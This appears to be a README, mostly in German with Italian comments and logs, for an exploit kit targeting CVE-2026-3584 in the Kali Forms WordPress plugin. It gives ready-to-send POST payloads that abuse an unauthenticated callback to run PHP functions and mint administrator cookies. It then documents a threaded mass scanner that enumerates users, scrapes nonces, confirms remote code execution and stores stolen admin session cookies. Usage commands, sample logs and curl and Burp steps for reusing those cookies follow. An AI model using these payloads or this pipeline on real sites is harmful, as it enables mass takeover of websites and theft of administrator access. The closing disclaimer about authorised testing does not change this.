
CVE-2026-3584
🔥 Zusammenfassung der Schwachstelle
Das WordPress-Plugin Kali Forms in Versionen <= 2.4.9 weist eine kritische Schwachstelle für nicht authentifizierte Remote-Code-Ausführung (RCE) auf. Diese Sicherheitslücke ermöglicht es nicht authentifizierten Angreifern, beliebigen PHP-Code auf dem Server auszuführen und über den öffentlich zugänglichen AJAX-Endpunkt kaliforms_form_process, der keine Autorisierungsprüfungen durchführt, vollständige Administratorrechte zu erlangen.
Die Schwachstelle liegt in der Funktion form_process, die benutzerkontrollierte Parameter (einschließlich thisPermalink und entryCounter) akzeptiert und beliebige PHP-Callbacks ausführt, was zu Folgendem führt:
phpinfo(), system(), eval() usw.wp_set_auth_cookie(), um administrative Sitzungen zu erhaltenDie Schwachstelle tritt in der Funktion form_process des Kali Forms-Plugins auf, das die AJAX-Anfragen verarbeitet. Der anfällige Code wird über Folgendes bereitgestellt:
// Endpoint AJAX accessibile senza autenticazione
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));
Ablauf des Exploits:
Ungeschützter Endpunkt: Der Endpunkt /wp-admin/admin-ajax.php?action=kaliforms_form_process ist über den Hook wp_ajax_nopriv_ für nicht authentifizierte Benutzer zugänglich.
Benutzerkontrollierte Parameter:
data[thisPermalink] - kann einen beliebigen PHP-Funktionsnamen enthaltendata[entryCounter] - kann einen beliebigen PHP-Funktionsnamen enthaltendata[formId] - ID des zu verarbeitenden FormularsAusführung ungefilterter Callbacks: Der anfällige Code führt PHP-Callbacks ohne Validierung aus:
$callback = $_POST['data']['thisPermalink'];
call_user_func($callback); // Nessun controllo!
Exploit-Kette:
Attacker → POST Request → kaliforms_form_process
↓
thisPermalink=phpinfo → call_user_func('phpinfo')
↓
PHP Code Execution → phpinfo() eseguito
↓
entryCounter=wp_set_auth_cookie → Cookie amministratore generato
↓
Full Admin Access
Beispiel einer angreifbaren Anfrage:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]
Ergebnis: Der Server führt phpinfo() aus und gibt vollständige Informationen zur PHP-Konfiguration zurück.
Für Privilege Escalation:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]
Ergebnis: WordPress führt wp_set_auth_cookie(user_id) aus, wobei user_id häufig formId entspricht, und erzeugt gültige Administrator-Sitzungscookies.
Das Skript mass_scanner.py implementiert eine automatisierte Pipeline in 4 Phasen zur vollständigen Ausnutzung der Schwachstelle CVE-2026-3584:
┌─────────────────────────────────────────────────────────────────â”
│ MASS SCANNER PIPELINE │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Fase 1: Ricognizione API REST │
│ ├─ Enumera utenti: /wp-json/wp/v2/users │
│ └─ Enumera post: /wp-json/wp/v2/posts │
│ → Identifica user_id e post_id per escalation │
│ │
│ Fase 2: Scoperta Moduli │
│ ├─ Crawl sito (depth=2) │
│ ├─ Cerca pattern: 'KaliFormsObject', 'kaliforms' │
│ ├─ Estrae nonce da JavaScript │
│ └─ Estrae formId da HTML │
│ → Trova tutti i moduli Kali Forms vulnerabili │
│ │
│ Fase 3: Test RCE │
│ ├─ Invia: data[thisPermalink]=phpinfo │
│ ├─ Verifica: 'PHP Version' in response │
│ └─ Salva: result/target_phpinfo.html │
│ → Conferma esecuzione codice remoto │
│ │
│ Fase 4: Escalation Privilegi │
│ ├─ Invia: data[entryCounter]=wp_set_auth_cookie │
│ ├─ Estrae: wordpress_logged_in + wordpress_sec cookies │
│ ├─ Verifica: Accesso a /wp-admin/ senza redirect │
│ └─ Salva: result_cookie/target.txt │
│ → Ottiene accesso amministratore completo │
│ │
└─────────────────────────────────────────────────────────────────┘
1. Automatische URL-Normalisierung
def normalize_url(self, target):
# Aggiunge automaticamente http:// o https://
# Prova prima HTTPS, poi fallback su HTTP
# Gestisce porte personalizzate (es. :8080)
2. REST-API-Enumeration
def enumerate_users_api(self, target):
# GET /wp-json/wp/v2/users
# Estrae tutti gli user_id disponibili
# Usato per mappare formId → user_id
def enumerate_posts_api(self, target):
# GET /wp-json/wp/v2/posts
# Estrae tutti i post_id disponibili
# Identifica sovrapposizioni user_id/post_id
3. Formularerkennung (Intelligentes Crawling)
def discover_pages(self, target, max_depth=2):
# Crawl ricorsivo del sito
# Cerca pattern JavaScript: 'KaliFormsObject'
# Filtra URL non necessari (js, css, immagini)
# Segue solo link interni
# Ritorna lista pagine con Kali Forms
4. Extrahieren von Formulardaten
def extract_form_data(self, page_url):
# Estrae nonce da JavaScript:
# KaliFormsObject = { ajax_nonce: "abc123" }
# Estrae formId da HTML:
# data-id="1" o [kaliform id="1"]
# Se nonce trovato ma no formId:
# Brute force ID 1-10
5. RCE-Test
def test_rce(self, target, form_id, nonce):
# POST /wp-admin/admin-ajax.php
# Payload: data[thisPermalink]=phpinfo
# Verifica: len(response) > 10000 e 'PHP Version' presente
# Salva HTML completo per analisi
6. Test der Privilege Escalation
def test_privilege_escalation_fast(self, target, nonce, user_ids, post_ids):
# Strategia intelligente:
# 1. Cerca sovrapposizioni user_id/post_id
# 2. Testa prima ID con alta probabilità successo
# 3. Fallback su ID comuni: 1,2,3,4,5
# Per ogni formId candidato:
# POST data[entryCounter]=wp_set_auth_cookie
# Estrae cookie: wordpress_logged_in + wordpress_sec
# Verifica: GET /wp-admin/ → no redirect
# Controlla: 'dashboard' in response
7. Multi-Threading
# ThreadPoolExecutor per elaborazione parallela
# Thread-safe locks per scrittura risultati
# Salvataggio real-time (append mode)
# Statistiche globali con sync
8. Automatisches Backup-System
def backup_previous_results(self):
# Prima di ogni scan:
# result_phpinfo.txt → result_phpinfo.txt.20260325_120000.backup
# result/ → result.20260325_120000.backup/
# result_cookie/ → result_cookie.20260325_120000.backup/
# Preserva tutti i dati storici
pip3 install requests beautifulsoup4
Erstellen Sie eine Datei targets.txt mit einem Ziel pro Zeile (http/https optional):
example.com
wordpress.site
192.168.1.100
http://blog.example.org
https://secure.site.com:8080
# Scansione con impostazioni predefinite (20 thread)
python3 mass_scanner.py targets.txt
# Scansione con thread personalizzati
python3 mass_scanner.py -t 10 targets.txt
# Scansione con numero massimo di thread
python3 mass_scanner.py --threads 50 targets.txt
======================================================================
SCANNER DI MASSA - CVE-2026-3584 Pipeline Completa
======================================================================
Obiettivi: 100
Thread: 20
Pipeline: Ricognizione → Scoperta Moduli → RCE → Escalation Privilegi
======================================================================
[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
[04:38:28] [INFO] https://target1.com: Avvio scansione...
[04:38:28] [INFO] https://target1.com: Fase 1: Enumerazione API REST...
[04:38:29] [INFO] https://target1.com: Trovati 3 utenti via API
[04:38:29] [INFO] https://target1.com: Trovati 5 post via API
[04:38:29] [INFO] https://target1.com: Fase 2: Scoperta moduli...
[04:38:31] [INFO] https://target1.com: Trovate 8 pagine con moduli
[04:38:31] [INFO] https://target1.com: Fase 3: Test RCE...
[04:38:31] [INFO] https://target1.com: Test modulo/i [1, 2, 3] con nonce 46aedbd3...
[04:38:32] [SUCCESS] https://target1.com: RCE SUCCESSO sul modulo 1!
[04:38:32] [INFO] https://target1.com: Salvato phpinfo in result/target1.com_form1_phpinfo.html
[04:38:32] [INFO] https://target1.com: Fase 4: Test escalation privilegi...
[04:38:33] [CRITICAL] https://target1.com: ESCALATION PRIVILEGI RIUSCITA con formId=1!
[04:38:33] [INFO] https://target1.com: Cookie salvato in result_cookie/target1.com.txt
[04:38:35] [INFO] https://target2.com: Avvio scansione...
[04:38:36] [INFO] https://target2.com: Fase 1: Enumerazione API REST...
[04:38:37] [WARN] https://target2.com: Nessun Kali Forms trovato
...
======================================================================
STATISTICHE SCANSIONE
======================================================================
Obiettivi totali: 100
Scansionati: 100
Vulnerabili: 45
- Solo RCE: 10
- Escalation Priv (CVSS10): 35
Falliti: 55
======================================================================
Risultati salvati:
- result_phpinfo.txt (RCE riuscito)
- result_yes_all.txt (RCE + Escalation Privilegi)
- result/*.html (Output phpinfo)
- result_cookie/*.txt (Richieste HTTP con cookie amministrativi)
======================================================================
/root/
├── result_phpinfo.txt # Lista obiettivi con RCE confermato
├── result_yes_all.txt # Lista obiettivi con accesso admin completo
├── result/ # File HTML phpinfo dettagliati
│ ├── target1.com_form1_phpinfo.html
│ ├── target2.org_form2_phpinfo.html
│ └── ...
└── result_cookie/ # Richieste HTTP con cookie amministrativi
├── target1.com.txt
├── target2.org.txt
└── ...
https://target1.com | Modulo: https://target1.com/contact | ID Modulo: 1 | Nonce: 46aedbd358 | File: result/target1.com_form1_phpinfo.html
https://target2.org | Modulo: https://target2.org/form | ID Modulo: 2 | Nonce: abc123def4 | File: result/target2.org_form2_phpinfo.html
======================================================================
OBIETTIVO: https://target1.com
TIMESTAMP: 2026-03-25T04:38:33.123456
======================================================================
RCE: SUCCESSO
URL Modulo: https://target1.com/contact
ID Modulo: 1
Nonce: 46aedbd358
phpinfo: result/target1.com_form1_phpinfo.html
ESCALATION PRIVILEGI: SUCCESSO (CVSS 10.0)
Exploit formId: 1
Cookie: wordpress_logged_in_xxx=...; wordpress_sec_xxx=...
File Cookie: result_cookie/target1.com.txt
Impatto: Accesso amministrativo completo
COMANDI DI SFRUTTAMENTO:
Test RCE:
python3 baru_cve_nih.py https://target1.com/contact 1 46aedbd358
Escalation Privilegi:
python3 POC_privilege_escalation_v3.py https://target1.com 46aedbd358
======================================================================
GET /wp-admin/ HTTP/1.1
Host: target.com
Cookie: wordpress_logged_in_xxx=admin%7C1774600707%7C...; wordpress_sec_xxx=admin%7C1774600707%7C...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Dieses Format ist bereit, direkt in Burp Suite Repeater kopiert und eingefügt oder mit curl verwendet zu werden.
Methode 1: Test mit curl
# Estrarre cookie dal file
COOKIE=$(grep "^Cookie:" result_cookie/target.com.txt | sed 's/^Cookie: //')
# Testare accesso amministrativo
curl -H "Cookie: $COOKIE" https://target.com/wp-admin/ | grep -i dashboard
# Se output contiene "Dashboard" → Cookie funzionante!
Methode 2: Verwendung in Burp Suite
# Passo 1: Generare configurazione automatica (opzionale)
./burp_config_gen.sh result_cookie/target.com.txt
# Passo 2: Burp Suite → Proxy → Options → Match and Replace → Add
# Passo 3: Configurazione:
Type: Request header
Match: ^Cookie:.*$
Replace: Cookie: [INCOLLA_COOKIE_DA_FILE]
☑ Regex match
# Passo 4: Abilitare la regola (checkbox)
# Passo 5: Navigare a https://target.com/wp-admin/
# Risultato: Accesso amministratore immediato
Während des Scans können die Ergebnisse in Echtzeit überwacht werden:
# Terminal 1: Esegui scanner
python3 mass_scanner.py targets.txt
# Terminal 2: Monitora risultati RCE
watch -n 2 'tail -20 result_phpinfo.txt'
# Terminal 3: Monitora escalation privilegi
watch -n 2 'tail -20 result_yes_all.txt'
# Terminal 4: Conta obiettivi vulnerabili
watch -n 5 'echo "RCE: $(wc -l < result_phpinfo.txt) | Admin: $(grep -c "ESCALATION PRIVILEGI: SUCCESSO" result_yes_all.txt)"'
Vor jedem neuen Scan erstellt der Scanner automatisch ein Backup der vorherigen Ergebnisse:
Scansione 1: [12:00]
result_phpinfo.txt
result_yes_all.txt
result/
result_cookie/
Scansione 2: [13:00] - Backup automatico!
[*] Risultati precedenti salvati in: result_phpinfo.txt.20260325_120000.backup
[*] Risultati precedenti salvati in: result_yes_all.txt.20260325_120000.backup
[*] File phpinfo precedenti salvati in: result.20260325_120000.backup/
[*] File cookie precedenti salvati in: result_cookie.20260325_120000.backup/
Tutti i dati precedenti sono preservati con timestamp!
Empfohlene Thread-Anzahl:
# Rete veloce, molti obiettivi
python3 mass_scanner.py -t 50 targets.txt
# Rete media, obiettivi moderati
python3 mass_scanner.py -t 20 targets.txt # (predefinito)
# Rete lenta o pochi obiettivi
python3 mass_scanner.py -t 10 targets.txt
# Test singolo (debug)
python3 mass_scanner.py -t 1 targets.txt
Erwartete Leistung:
Problem: Kein anfälliges Ziel gefunden
# Verifica manuale che il sito abbia Kali Forms
curl -s https://target.com | grep -i "kaliforms"
# Se trovato, estrai nonce manualmente
curl -s https://target.com | grep -i "KaliFormsObject"
Problem: Häufige Timeouts
# Riduci numero di thread
python3 mass_scanner.py -t 5 targets.txt
# O aumenta timeout modificando il codice (timeout=10 → timeout=30)
Problem: Cookie funktioniert nicht
# Verifica validità cookie
python3 test_burp_persistent.sh http://target.com
# Se fallisce, rigenera cookie con:
python3 get_fresh_admin_cookie.py http://target.com [NONCE]
âš ï¸ WICHTIG:
Diese Informationen und Werkzeuge werden ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Unautorisierter Zugriff oder unbefugte Nutzung von Computersystemen ist illegal und unethisch.
Die Autoren und Mitwirkenden dieses Repositorys sind nicht für jeglichen Missbrauch oder Schaden verantwortlich, der durch diese Werkzeuge verursacht wird. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie vor dem Testen eines Systems über die entsprechende Genehmigung verfügen.
Verwenden Sie es verantwortungsvoll und nur mit ausdrücklicher schriftlicher Genehmigung.
CVE und Advisory:
Betroffenes Plugin:
CVE-2026-3584 | Kali Forms <= 2.4.9 | CVSS 10.0 Critical
Sicherheitsforschung | Verantwortungsvolle Ausnutzung | Sicherheitsausbildung